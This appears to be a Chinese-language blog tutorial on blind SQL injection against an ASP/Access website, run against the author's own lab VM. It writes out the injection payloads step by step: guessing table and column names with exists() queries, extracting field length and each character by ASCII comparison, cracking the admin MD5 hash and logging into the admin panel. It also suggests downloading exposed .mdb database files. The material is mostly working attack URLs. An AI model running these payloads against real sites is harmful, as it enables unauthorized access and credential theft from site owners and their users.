Access数据库攻击案例

一、爆数据库类型

SQL Server有一些系统变量和系统表,如果服务器IIS提示没关闭,并且SQL Server返回错误提示的话,

可以直接从出错信息中获取判断数据库的类型

1、内置变量爆数据库类型

User”是SQL Server的一个内置变量,它的值是当前连接的用户名,其变量类型为“nvarchar"字符型。通过提交查询该变量,根据返回的出错信息即可得知数据库类型。方法是在注入点之后提交如下语句。

and user>0

一、案例

注:后面http://192.168.1.55:901/news_view.asp?id=14这段可能会有变化,大家根据自己的做就行,更换是因为电脑出现问题才更改的ip

1.找注入点

首先打开之前在虚拟机上面装的网站

 点击找注入点

 

 2.准备注入(access注入大多要靠猜)

①:猜表名

将这条语句粘贴到网站,结果如下图所示exists(select * from users),说明数据库中没有user表,然后换成administrator返回正确页面,

说明存在administrator表

 ②:猜字段

exists(select username from administrator)

返回错误信息,说明不存在username字段,继续提交。

exists(select user_name from administrator)

返回正常页面,administrator表中存在字段user_nam

③:猜解字段长度

再继续猜测第一个字段内容长度。(前面的http://192.168.1.55:901/news_view.asp?id=14)根据自己的ip改变

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>1//正常

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>2  //正常

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 len(user_name) from administrator)>5  //报错

说明administrator表中的user_name 字段长度为5

 ④:猜解字段内容

现在猜解字段内容并提交。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>0  //返回正常页面

说明ASCII值大于0 ,字段值应该为字母,如果是小于0那么说明是汉字,下面我们继续猜解。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>500  //返回错误页面

说明字段对应的ASCll值在0和500之间。继续提交。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>100   //返回错误页面

说明字段对应的ASCll值在0和100之间。继续提交。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>90   //返回正常页面

说明字段对应的ASCll值在90和100之间。继续提交。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>96  //返回正常页面

说明字段对应的ASCll值在96和100之间。继续提交。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>97  //返回错误页面

说明administrator表中的user_name字段的第一位ASCII值为97。通过反查ASCII值对应的字母,得到字符值为“a”接着第二位查询。

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>99  //返回正常页面(注:查第二个字母的时候记得把user_name后面的1变成2)

http://192.168.1.55:901/news_view.asp?id=14 and (select top 1 asc(mid(user_name,2,1)) from administrator)>100  //返回错误页面

 

用同样的方法,可猜解user_name字段值和password值,最终得到如下结果:

[user_name]:admin

[password]:21232f297a57a5a743894a0e4a801fc3

可看出password的值为32位MD5加密,使用MD5在线破解工具进行破解,得到明文密码为admin.

 得到管理员用户名和密码后,登录后台:http://192.168.1.55:901/admin/index.asp,输入猜解出来的用户名和密码.就可以成功进入网站后台页面。

小提示: access数据库都是存放在网站目录下,后缀格式为mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,如果是MSSQL、MYSQL等,一般数据库是存储在数据库安装路径下,后缀格式为myi,myd,frm,mdf 不能通过下载得到库。除非走狗屎运,对方管理员把网站库备份在网站目录下。

php+mysql

数据库存储在数据库安装路径下,后缀格式myi,myd,frm

原文地址:https://www.cnblogs.com/1996-11-01-614lb/p/14206999.html